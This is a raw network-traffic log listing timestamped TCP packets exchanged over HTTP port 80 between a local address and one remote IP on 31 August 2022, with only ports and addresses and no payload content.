Aug 31, 2022 14:28:19.124308109 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.124310017 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.124353886 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.125405073 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.125439882 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.125467062 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.125482082 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.125524044 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.129949093 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.129982948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.130012035 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.130038977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.130089045 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.130919933 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.130953074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.130973101 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.130981922 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.131026030 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.131098986 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.131150961 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.132086039 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.132118940 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.132145882 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.132179976 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.132972956 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.133035898 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.133336067 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.133367062 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.133393049 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.133418083 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.134083986 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.134160042 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.134232044 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.134274960 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.134313107 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.134326935 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.134352922 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.134402037 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.303133965 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303177118 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303201914 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303229094 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303253889 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303277969 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303306103 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303350925 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.303397894 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.303407907 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303433895 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303458929 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303463936 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.303483009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303507090 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303517103 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.303529024 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303551912 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.303559065 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.303600073 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.304218054 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.304245949 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.304269075 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.304292917 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.304308891 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.304335117 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.305012941 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.305052042 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.305074930 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.305098057 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.305136919 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.306190968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.306220055 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.306245089 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.306299925 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.397053003 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.560774088 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.560935020 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.561014891 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.561050892 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.561145067 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.561189890 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.562047005 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.562158108 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.562207937 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.563117981 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.563213110 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.563275099 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.566617966 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.566647053 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.566673040 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.566725969 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.566726923 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.566781044 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.567126989 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.567339897 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.567420959 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.568278074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.568424940 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.568489075 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.569375038 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.569400072 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.569446087 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.570522070 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.570552111 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.570571899 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.570597887 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.571288109 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.571312904 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.571391106 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.571451902 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.571482897 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.571535110 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.572276115 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.572300911 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.572320938 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.572340012 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.572367907 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.572418928 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.573379993 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.573477030 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.573533058 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.574342012 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.574388981 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.574491024 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.574516058 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.574537992 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.574563026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.574563026 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.574609041 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.575035095 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.575059891 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.575098038 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.575159073 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.575182915 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.575236082 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.576663971 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.577091932 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.577116013 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.577140093 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.577156067 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.577161074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.577177048 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.577183962 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.577231884 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.578105927 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.578130960 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.578207970 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.720328093 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.721208096 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.721239090 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.721295118 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.721312046 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.721363068 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.723267078 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.723301888 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.723325968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.723398924 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.723407030 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.723458052 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.731255054 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.731293917 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.731319904 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.731384993 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.731409073 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.731468916 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.731973886 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.732004881 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.732029915 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.732067108 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.732083082 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.732130051 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.732135057 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.733159065 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.733190060 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.733239889 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.733242989 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.733289003 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.733294964 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.734261036 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.734287977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.734311104 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.734344959 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.734359980 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.734395981 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.735022068 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.735049009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.735091925 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.735114098 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.735129118 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.735146999 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.736004114 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.736031055 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.736052036 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.736100912 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.736115932 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.736116886 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.736139059 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.736186981 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.737144947 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.737168074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.737189054 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.737211943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.737248898 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.737281084 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.737957001 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.737987041 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.738048077 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.738203049 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.739253998 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.739346981 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.739398956 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.740310907 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.740334988 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.740374088 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.740962029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.740989923 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.741024017 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.741035938 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.741087914 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.880232096 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.880304098 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.880434036 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.881176949 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.881234884 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.881289959 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.881308079 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.882047892 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.882106066 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.882158041 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.882164001 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.882215977 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.883229971 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.883291006 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.883377075 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.883456945 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.884149075 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.884229898 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.890677929 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.890742064 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.890795946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.890847921 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.890849113 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.890907049 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.891272068 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.891330004 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.891426086 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.891470909 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.891479015 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.891529083 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.892049074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.892105103 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.892157078 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.892169952 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.892215967 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.892268896 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.893434048 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.893490076 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.893543005 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.893564939 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.893594027 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.893646002 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.894222975 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.894277096 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.894328117 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.894342899 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.894380093 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.894431114 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.894867897 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.894925117 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.894978046 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.894985914 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.895030975 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.895081997 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.895082951 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.896177053 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.896235943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.896271944 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.896295071 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.896358967 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.896394014 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.897027969 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.897123098 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.900015116 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.900059938 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.900082111 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.900101900 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.900120020 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.900157928 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.901163101 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.901185989 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.901246071 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.040307045 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.040343046 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.040409088 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.041053057 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.041080952 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.041105986 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.041129112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.041172981 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.041217089 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.041996002 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.042021990 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.042041063 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.042061090 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.042102098 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.042124987 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.043283939 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.043314934 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.043335915 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.043378115 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.043420076 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.043445110 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.044203997 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.044239044 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.044265985 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.044312954 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.045100927 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.045130014 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.045155048 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.045183897 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.045186043 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.045212030 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.054291010 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054318905 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054341078 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054363966 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054385900 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054389954 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.054406881 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054430962 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054454088 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054477930 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054507971 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054512024 CEST	49721	80	192.168.2.4	37.34.248.24
